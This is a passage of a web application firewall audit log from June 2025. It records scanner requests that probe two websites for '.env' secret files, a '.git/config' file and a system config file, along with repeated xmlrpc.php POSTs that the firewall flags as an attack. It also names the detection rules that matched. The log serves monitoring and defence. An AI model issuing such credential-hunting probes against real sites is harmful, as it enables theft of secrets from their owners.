(http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --00ccad37-Z-- --80738e17-A-- [16/Jun/2025:04:35:57.537698 +0530] aE9R1JbumDYPKpRD2ekpzgAAAAA 185.177.72.210 53454 127.0.0.1 7081 --80738e17-B-- GET /:8008/public/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --80738e17-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b3854bccbb91186f68f24cbd14b556541750028757; expires=Mon, 16 Jun 2025 00:05:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --80738e17-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/public/.env"] [unique_id "aE9R1JbumDYPKpRD2ekpzgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028756868254 669517 (- - -) Stopwatch2: 1750028756868254 669517; combined=2456, p1=518, p2=1855, p3=0, p4=0, p5=83, sr=122, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --80738e17-Z-- --15577724-A-- [16/Jun/2025:04:36:07.060973 +0530] aE9R3nwHSJGQ1A1pR0qadgAAAAY 128.199.112.101 51402 127.0.0.1 7081 --15577724-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --15577724-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --15577724-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9R3nwHSJGQ1A1pR0qadgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028766108931 952100 (- - -) Stopwatch2: 1750028766108931 952100; combined=2806, p1=495, p2=1867, p3=42, p4=56, p5=207, sr=135, sw=139, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --15577724-Z-- --c20b3a5d-A-- [16/Jun/2025:04:36:15.711636 +0530] aE9R57BfUm2FdhH5voEStwAAAAU 185.177.72.210 55348 127.0.0.1 7081 --c20b3a5d-B-- GET /:8008/app/frontend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c20b3a5d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d1feee7764c993a6920c742f22b151851750028775; expires=Mon, 16 Jun 2025 00:06:15 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c20b3a5d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/app/frontend/.env"] [unique_id "aE9R57BfUm2FdhH5voEStwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028775015936 695774 (- - -) Stopwatch2: 1750028775015936 695774; combined=2141, p1=448, p2=1600, p3=0, p4=0, p5=93, sr=88, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c20b3a5d-Z-- --02fa4e43-A-- [16/Jun/2025:04:36:18.697368 +0530] aE9R6uxC6fQU5wYvxvlzDAAAAAk 185.177.72.210 55468 127.0.0.1 7081 --02fa4e43-B-- GET /config/.git/config HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --02fa4e43-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b084f3f84326f45d4b0fb3789d5461941750028778; expires=Mon, 16 Jun 2025 00:06:18 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --02fa4e43-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/config/.git/config"] [unique_id "aE9R6uxC6fQU5wYvxvlzDAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028778046283 651163 (- - -) Stopwatch2: 1750028778046283 651163; combined=1721, p1=358, p2=1261, p3=0, p4=0, p5=102, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --02fa4e43-Z-- --d550652d-A-- [16/Jun/2025:04:36:43.081831 +0530] aE9SApbumDYPKpRD2ekp4wAAAAA 185.177.72.210 47514 127.0.0.1 7081 --d550652d-B-- GET /babel-plugin-dotenv/test/fixtures/dev-env/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d550652d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=05d82dcb6340f824355328cdf75f13361750028802; expires=Mon, 16 Jun 2025 00:06:42 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d550652d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/babel-plugin-dotenv/test/fixtures/dev-env/.env"] [unique_id "aE9SApbumDYPKpRD2ekp4wAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028802415670 666224 (- - -) Stopwatch2: 1750028802415670 666224; combined=1959, p1=390, p2=1477, p3=0, p4=0, p5=91, sr=96, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d550652d-Z-- --3448f446-A-- [16/Jun/2025:04:36:59.672885 +0530] aE9SEuxC6fQU5wYvxvlzHgAAAAk 185.177.72.210 43908 127.0.0.1 7081 --3448f446-B-- GET /:5000/conf/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3448f446-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7422b995fe347c64df9de757f4055c611750028819; expires=Mon, 16 Jun 2025 00:06:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3448f446-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/conf/.env"] [unique_id "aE9SEuxC6fQU5wYvxvlzHgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028818928308 744653 (- - -) Stopwatch2: 1750028818928308 744653; combined=1997, p1=425, p2=1474, p3=0, p4=0, p5=98, sr=97, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3448f446-Z-- --16515614-A-- [16/Jun/2025:04:37:03.715610 +0530] aE9SF5bumDYPKpRD2ekp7QAAAAA 185.177.72.210 53114 127.0.0.1 7081 --16515614-B-- GET /:10000/.env.local.example HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --16515614-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a432de800da39b08b6812279341377751750028823; expires=Mon, 16 Jun 2025 00:07:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --16515614-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/.env.local.example"] [unique_id "aE9SF5bumDYPKpRD2ekp7QAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028823056325 659495 (- - -) Stopwatch2: 1750028823056325 659495; combined=2004, p1=423, p2=1448, p3=0, p4=0, p5=132, sr=126, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --16515614-Z-- --05a18836-A-- [16/Jun/2025:04:37:07.169744 +0530] aE9SGrBfUm2FdhH5voES0QAAAAU 128.199.112.101 53266 127.0.0.1 7081 --05a18836-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 498 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --05a18836-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --05a18836-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9SGrBfUm2FdhH5voES0QAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028826229765 940035 (- - -) Stopwatch2: 1750028826229765 940035; combined=2450, p1=371, p2=1679, p3=40, p4=62, p5=190, sr=100, sw=108, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --05a18836-Z-- --7b653e59-A-- [16/Jun/2025:04:37:20.641875 +0530] aE9SJ3wHSJGQ1A1pR0qamgAAAAY 185.177.72.210 34212 127.0.0.1 7081 --7b653e59-B-- GET /:8880/.c9/metadata/environment/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7b653e59-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=44178e65548632d62eb09b7c3da3b1b61750028840; expires=Mon, 16 Jun 2025 00:07:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7b653e59-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/.c9/metadata/environment/.env"] [unique_id "aE9SJ3wHSJGQ1A1pR0qamgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028839967842 674095 (- - -) Stopwatch2: 1750028839967842 674095; combined=2006, p1=405, p2=1501, p3=0, p4=0, p5=99, sr=106, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7b653e59-Z-- --08a5ac22-A-- [16/Jun/2025:04:37:27.073026 +0530] aE9SLpbumDYPKpRD2ekp_AAAAAA 185.177.72.210 34890 127.0.0.1 7081 --08a5ac22-B-- GET /:8181/.env.2 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --08a5ac22-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ff79096ba7afb17e594a7c3e9bb4b6e81750028846; expires=Mon, 16 Jun 2025 00:07:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --08a5ac22-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/.env.2"] [unique_id "aE9SLpbumDYPKpRD2ekp_AAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028846419518 653570 (- - -) Stopwatch2: 1750028846419518 653570; combined=2004, p1=436, p2=1458, p3=0, p4=0, p5=109, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --08a5ac22-Z-- --a6c3f264-A-- [16/Jun/2025:04:37:30.890257 +0530] aE9SMrBfUm2FdhH5voES4QAAAAU 185.177.72.210 43822 127.0.0.1 7081 --a6c3f264-B-- GET /:8080/prod/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a6c3f264-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6ae5842d6bbb35583aa1bdccffe7cbd71750028850; expires=Mon, 16 Jun 2025 00:07:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a6c3f264-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/prod/.env"] [unique_id "aE9SMrBfUm2FdhH5voES4QAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028850226765 663554 (- - -) Stopwatch2: 1750028850226765 663554; combined=1704, p1=352, p2=1260, p3=0, p4=0, p5=91, sr=83, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a6c3f264-Z-- --9b89c917-A-- [16/Jun/2025:04:37:32.886779 +0530] aE9SNJbumDYPKpRD2ekqAQAAAAA 185.177.72.210 43988 127.0.0.1 7081 --9b89c917-B-- GET /lilo.conf HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9b89c917-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f27237e99a77ae2f23b2ece43e7731891750028852; expires=Mon, 16 Jun 2025 00:07:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9b89c917-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/lilo.conf"] [unique_id "aE9SNJbumDYPKpRD2ekqAQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028852220800 666052 (- - -) Stopwatch2: 1750028852220800 666052; combined=1655, p1=347, p2=1218, p3=0, p4=0, p5=90, sr=98, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9b89c917-Z-- --6422df1b-A-- [16/Jun/2025:04:37:48.923140 +0530] aE9SRH2GhYywD7zZgx4EvgAAAAM 185.177.72.210 49396 127.0.0.1 7081 --6422df1b-B-- GET /tmp/.env.test HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6422df1b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=56ae42ad90ee20413923bf346fcf3bdd1750028868; expires=Mon, 16 Jun 2025 00:07:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6422df1b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/tmp/.env.test"] [unique_id "aE9SRH2GhYywD7zZgx4EvgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028868222623 700580 (- - -) Stopwatch2: 1750028868222623 700580; combined=1848, p1=347, p2=1394, p3=0, p4=0, p5=107, sr=84, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6422df1b-Z-- --2cd2f721-A-- [16/Jun/2025:04:37:50.950703 +0530] aE9SRsalTF-TysO2fMOCVAAAAAE 185.177.72.210 42020 127.0.0.1 7081 --2cd2f721-B-- GET /rest/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2cd2f721-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=389010ddbb550cc3107b8c751f711bab1750028870; expires=Mon, 16 Jun 2025 00:07:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2cd2f721-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity 